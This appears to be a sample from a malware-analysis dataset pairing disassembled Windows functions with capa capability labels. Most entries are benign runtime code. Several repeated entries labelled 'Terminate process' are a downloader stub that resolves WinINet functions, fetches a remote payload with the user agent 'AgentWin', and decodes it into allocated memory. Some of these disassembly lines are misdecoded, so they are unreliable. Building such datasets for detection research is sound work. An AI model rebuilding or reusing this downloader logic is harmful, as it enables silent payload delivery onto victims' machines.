joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d864a90
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d864aa0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d864ab0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d864af1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d864ae8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d864af3
add rax, 0x28
cmp rax, r9
jne 0x6d864ad4
xor eax, eax
ret

Function at 0x6d864b90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8821f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d864bfd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d864bfd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d864bfd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d864bf4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d864bff
add rax, 0x28
cmp rax, r9
jne 0x6d864be0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d864d00
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8821f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d864d20
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d864d18
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d864d7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d864d74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d864d84
add rax, 0x28
cmp rax, r9
jne 0x6d864d60
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d864da0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8821f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d864e0e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d864e0e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d864e0e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d864e0e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d864e05
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d864e15
add rcx, 0x28
cmp rcx, rax
jne 0x6d864df0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d864e28
jmp 0x6d864e0e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d864e36
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d864e0e
test r9d, r9d
jg 0x6d864e20
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8651a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400eca10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x1400ecac9
mov rcx, qword [rcx + 0x40]
test rcx, rcx
je 0x1400ecac9
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1400ecac9
test rdi, rdi
je 0x1400ecac9
xor r14d, r14d
xor esi, esi
call fcn.1400ffa7c
lea r8, str.AFX_DIALOG_LAYOUT
mov rdx, rdi
mov rbp, qword [rax + 0x18]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x1400ecaa9
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rdi
mov rcx, rbp
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400ecac9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov r8d, r14d
mov rdx, rsi
mov rcx, rbx
call fcn.14012240c
mov edi, eax
test eax, eax
je 0x1400ecac5
mov rcx, rbx
call fcn.1400ec6d8
mov eax, edi
jmp 0x1400ecacb
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1400ed964
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rbx, r8
mov rcx, qword [rcx + 0x40]
call fcn.1401239b4
mov rdi, rax
test rax, rax
je 0x1400ed9e0
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov esi, eax
test rbx, rbx
je 0x1400ed9db
cmp dword [rbx], 0x40
jb 0x1400ed9db
mov rcx, qword [rbp + 0x40]
xor r9d, r9d
or dword [rbx + 4], 1
xor r8d, r8d
or qword [rbx + 0x30], 0xffffffffffffffff
mov edx, 0x87
mov qword [rbx + 8], rcx
mov rcx, rdi
mov qword [rbx + 0x10], rdi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x1400ed9db
or dword [rbx + 4], 0x80000002
mov rax, rsi
jmp 0x1400ed9e4
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400f1eec
Capabilities:
Terminate process

Disassembly:
add byte [rax], al
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call fcn.1400f1e6f
movsxd rcx, eax
lea rdi, [rbx + rcx*2]
mov rbx, qword [0x1401eb030]
cmp dword [rbx], 0
je 0x1400f1f4d
mov rcx, rdi
Function at 0x1400f1f18
Capabilities:
Terminate process

Disassembly:
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp al, byte [rbx]
je 0x1400f1f32
cmp al, byte [rbx + 1]
je 0x1400f1f32
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call fcn.1400f1e93
cmp eax, dword [rbx + 4]
je 0x1400f1f4d
cmp eax, dword [rbx + 8]
je 0x1400f1f4d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x1401eb018]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call 0xcb571f64
or eax, 0xf9106
xor r8d, r8d
xor edx, edx
mov rsi, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdx, qword [str.InternetOpenA]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rcx, rbx
mov rdx, qword [str.InternetOpenUrlA]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov rcx, rbx
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x60], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [str.AgentWin]
or eax, 0xf90a7
lea edx, [r9 + 1]
call rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x78]
xor r9d, r9d
mov ecx, dword [0x1401eb048]
sldt word [rbp + 0x33]
ror byte [rax - 0x7d], 0x64
and al, 0x28
add byte [rax - 0x75], cl
adc eax, 0xf9092
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r10
mov rbx, rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x68]
lea r9, [rsp + 0x60]
mov r8d, dword [0x1401eb018]
mov rdx, rdi
mov rcx, rax
call r10
test eax, eax
je 0x1400f210d
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x1400f205e
add rdi, rax
lea r9, [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov rdx, rdi
mov r8d, dword [0x1401eb018]
mov rcx, rbx
call rax
test eax, eax
jne 0x1400f2036
cmp rdi, rsi
je 0x1400f210d
mov edx, dword [rsi]
xor r8d, r8d
Function at 0x1400f1f9c
Capabilities:
Terminate process

Disassembly:
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp al, byte [rbx]
je 0x1400f1f32
cmp al, byte [rbx + 1]
je 0x1400f1f32
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call fcn.1400f1e93
cmp eax, dword [rbx + 4]
je 0x1400f1f4d
cmp eax, dword [rbx + 8]
je 0x1400f1f4d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x1401eb018]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call 0xcb571f64
or eax, 0xf9106
xor r8d, r8d
xor edx, edx
mov rsi, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdx, qword [str.InternetOpenA]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rcx, rbx
mov rdx, qword [str.InternetOpenUrlA]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov rcx, rbx
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x60], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [str.AgentWin]
or eax, 0xf90a7
lea edx, [r9 + 1]
call rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x78]
xor r9d, r9d
mov ecx, dword [0x1401eb048]
sldt word [rbp + 0x33]
ror byte [rax - 0x7d], 0x64
and al, 0x28
add byte [rax - 0x75], cl
adc eax, 0xf9092
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r10
mov rbx, rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x68]
lea r9, [rsp + 0x60]
mov r8d, dword [0x1401eb018]
mov rdx, rdi
mov rcx, rax
call r10
test eax, eax
je 0x1400f210d
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x1400f205e
add rdi, rax
lea r9, [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov rdx, rdi
mov r8d, dword [0x1401eb018]
mov rcx, rbx
call rax
test eax, eax
jne 0x1400f2036
cmp rdi, rsi
je 0x1400f210d
mov edx, dword [rsi]
xor r8d, r8d
Function at 0x1400f1fcc
Capabilities:
Terminate process

Disassembly:
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp al, byte [rbx]
je 0x1400f1f32
cmp al, byte [rbx + 1]
je 0x1400f1f32
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call fcn.1400f1e93
cmp eax, dword [rbx + 4]
je 0x1400f1f4d
cmp eax, dword [rbx + 8]
je 0x1400f1f4d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x1401eb018]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call 0xcb571f64
or eax, 0xf9106
xor r8d, r8d
xor edx, edx
mov rsi, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdx, qword [str.InternetOpenA]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rcx, rbx
mov rdx, qword [str.InternetOpenUrlA]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov rcx, rbx
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x60], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [str.AgentWin]
or eax, 0xf90a7
lea edx, [r9 + 1]
call rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x78]
xor r9d, r9d
mov ecx, dword [0x1401eb048]
sldt word [rbp + 0x33]
ror byte [rax - 0x7d], 0x64
and al, 0x28
add byte [rax - 0x75], cl
adc eax, 0xf9092
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r10
mov rbx, rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x68]
lea r9, [rsp + 0x60]
mov r8d, dword [0x1401eb018]
mov rdx, rdi
mov rcx, rax
call r10
test eax, eax
je 0x1400f210d
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x1400f205e
add rdi, rax
lea r9, [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov rdx, rdi
mov r8d, dword [0x1401eb018]
mov rcx, rbx
call rax
test eax, eax
jne 0x1400f2036
cmp rdi, rsi
je 0x1400f210d
mov edx, dword [rsi]
xor r8d, r8d
Function at 0x1400f1fec
Capabilities:
Terminate process

Disassembly:
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp al, byte [rbx]
je 0x1400f1f32
cmp al, byte [rbx + 1]
je 0x1400f1f32
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call fcn.1400f1e93
cmp eax, dword [rbx + 4]
je 0x1400f1f4d
cmp eax, dword [rbx + 8]
je 0x1400f1f4d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x1401eb018]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call 0xcb571f64
or eax, 0xf9106
xor r8d, r8d
xor edx, edx
mov rsi, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdx, qword [str.InternetOpenA]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rcx, rbx
mov rdx, qword [str.InternetOpenUrlA]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov rcx, rbx
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x60], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [str.AgentWin]
or eax, 0xf90a7
lea edx, [r9 + 1]
call rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x78]
xor r9d, r9d
mov ecx, dword [0x1401eb048]
sldt word [rbp + 0x33]
ror byte [rax - 0x7d], 0x64
and al, 0x28
add byte [rax - 0x75], cl
adc eax, 0xf9092
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r10
mov rbx, rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x68]
lea r9, [rsp + 0x60]
mov r8d, dword [0x1401eb018]
mov rdx, rdi
mov rcx, rax
call r10
test eax, eax
je 0x1400f210d
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x1400f205e
add rdi, rax
lea r9, [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov rdx, rdi
mov r8d, dword [0x1401eb018]
mov rcx, rbx
call rax
test eax, eax
jne 0x1400f2036
cmp rdi, rsi
je 0x1400f210d
mov edx, dword [rsi]
xor r8d, r8d
Function at 0x1400f201c
Capabilities:
Terminate process

Disassembly:
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp al, byte [rbx]
je 0x1400f1f32
cmp al, byte [rbx + 1]
je 0x1400f1f32
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call fcn.1400f1e93
cmp eax, dword [rbx + 4]
je 0x1400f1f4d
cmp eax, dword [rbx + 8]
je 0x1400f1f4d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x1401eb018]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call 0xcb571f64
or eax, 0xf9106
xor r8d, r8d
xor edx, edx
mov rsi, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdx, qword [str.InternetOpenA]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rcx, rbx
mov rdx, qword [str.InternetOpenUrlA]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov rcx, rbx
mov rdx, qword [str.InternetReadFile]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x60], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [str.AgentWin]
or eax, 0xf90a7
lea edx, [r9 + 1]
call rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x78]
xor r9d, r9d
mov ecx, dword [0x1401eb048]
sldt word [rbp + 0x33]
ror byte [rax - 0x7d], 0x64
and al, 0x28
add byte [rax - 0x75], cl
adc eax, 0xf9092
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r10
mov rbx, rax
test rax, rax
je 0x1400f210d
mov r10, qword [rsp + 0x68]
lea r9, [rsp + 0x60]
mov r8d, dword [0x1401eb018]
mov rdx, rdi
mov rcx, rax
call r10
test eax, eax
je 0x1400f210d
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x1400f205e
add rdi, rax
lea r9, [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov rdx, rdi
mov r8d, dword [0x1401eb018]
mov rcx, rbx
call rax
test eax, eax
jne 0x1400f2036
cmp rdi, rsi
je 0x1400f210d
mov edx, dword [rsi]
xor r8d, r8d

Function at 0x1400f206c
Capabilities:
Terminate process

Disassembly:
mov rax, qword [str.40RS_7]
mov eax, dword [rax + r8]
add eax, edx
mov dword [r8 + rdi], eax
add r8, 4
cmp r8, 0x14
jl fcn.1400f206c
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400f210d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1400f2098
Capabilities:
Terminate process

Disassembly:
mov edx, dword [0x1401eb018]
xor ecx, ecx
mov r9d, dword [0x1401eb08c]
mov r8d, 0x1000
call rax
mov rdx, qword [0x1401eb060]
mov r8, rax
mov r9, qword [0x1401eb024]
mov r10d, 0x13fe
mov edx, edx
add r9, rdx
lea rdx, [rax + 8]
mov ebx, dword [r9 + 4]
mov ebx, dword [rcx + 4]
sub r9, rax
mov ecx, dword [r9 + rdx]
add ecx, ebx
mov dword [rdx], ecx
lea rdx, [rdx + 4]
sub r10, 1
jne 0x1400f20d6
mov eax, dword [0x1401eb088]
mov dword [r8 + 8], eax
mov eax, dword [0x1401eb05c]
mov edx, dword [r8 + 0xc]
mov ecx, dword [0x1401eb05c]
add rdx, rax
add rdx, r8
Function at 0x1400f20d0
Capabilities:
Terminate process

Disassembly:
mov edx, dword [0x1401eb018]
xor ecx, ecx
mov r9d, dword [0x1401eb08c]
mov r8d, 0x1000
call rax
mov rdx, qword [0x1401eb060]
mov r8, rax
mov r9, qword [0x1401eb024]
mov r10d, 0x13fe
mov edx, edx
add r9, rdx
lea rdx, [rax + 8]
mov ebx, dword [r9 + 4]
mov ebx, dword [rcx + 4]
sub r9, rax
mov ecx, dword [r9 + rdx]
add ecx, ebx
mov dword [rdx], ecx
lea rdx, [rdx + 4]
sub r10, 1
jne 0x1400f20d6
mov eax, dword [0x1401eb088]
mov dword [r8 + 8], eax
mov eax, dword [0x1401eb05c]
mov edx, dword [r8 + 0xc]
mov ecx, dword [0x1401eb05c]
add rdx, rax
add rdx, r8

Function at 0x1400f2b10
Capabilities:
Get graphical window text

Disassembly:
sub rsp, 0x78
test rdx, rdx
je 0x1400f2b78
mov r10, qword [rcx + 0x10]
test r10, r10
je 0x1400f2b62
cmp qword [rcx + 0x18], 0
jne 0x1400f2b5d
mov eax, dword [rcx + 0xc]
cmp eax, dword [rcx + 0x30]
jae 0x1400f2b7e
mov qword [rsp + 0x58], rdx
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0x50
mov edx, eax
mov dword [rsp + 0x24], 0x40
mov r8d, 1
mov rcx, qword [r10 + 8]
call qword [sym.imp.USER32.dll_SetMenuItemInfoW]
add rsp, 0x78
ret
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400f2b78
mov rcx, qword [rcx + 0x40]
add rsp, 0x78
jmp fcn.140123650
call fcn.1400f9a54
int3
call fcn.1400f9a54
int3

Function at 0x1400f2f84
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, qword [rcx + 0x100]
xor r14d, r14d
mov rdi, rcx
mov rsi, qword [rcx + 0xf8]
cmp qword [rcx + 0xf0], r14
je 0x1400f2feb
call fcn.1400ffa7c
mov rdx, qword [rdi + 0xf0]
lea r8d, [r14 + 5]
mov rbp, qword [rax + 0x18]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400f2feb
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rsi, rsi
je 0x1400f2ffc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
mov eax, 1
test rbx, rbx
je 0x1400f3041
mov edx, 0xffff
lea rcx, [rbx + 0xc]
cmp word [rbx + 2], dx
jne 0x1400f3020
movzx r8d, word [rbx + 0x12]
movzx edx, word [rbx + 0x14]
jmp 0x1400f302b
movzx edx, word [rcx]
mov rcx, rbx
movzx r8d, word [rbx + 0xa]
test dword [rcx], 0x1801
jne 0x1400f303e
test r8w, r8w
jne 0x1400f303e
test dx, dx
je 0x1400f3041
mov eax, r14d
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400f305c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x1400f309b
cmp dword [rcx + 0xe8], 0
jne 0x1400f309b
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.1400ffa7c
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400f30df
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400f30df
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.1400f3414
jmp 0x1400f30e1
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400f30f8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
call fcn.1400ffa7c
mov r8d, 5
mov rdx, rbx
mov rdi, qword [rax + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400f3162
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400f3162
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call fcn.1400f317c
jmp 0x1400f3164
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800025b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x18000260d
lea rbx, [0x1800318e0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1800025f4
cmp r10, 2
jb 0x1800025f4
cmp byte [r9], r8b
jne 0x1800025f4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1800025d0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x18000264f
lea rbx, [0x1800318e0]
cmp r8b, 0x23
jne 0x180002633
cmp byte [r9], r8b
jne 0x180002633
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180002620
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180002830
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x18000284a
mov qword [r8], 0
lea rdx, [0x180031740]
call fcn.180002660
mov rbx, rax
test rax, rax
jne 0x18000286a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x180002941
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180002941
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180002941
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180002941
cmp rdi, 0xffffffffffffffff
je 0x180002941
mov rax, qword [0x180069158]
test rax, rax
je 0x1800028de
inc dword [rax + 0x3bc]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x180002941
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x18000292e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
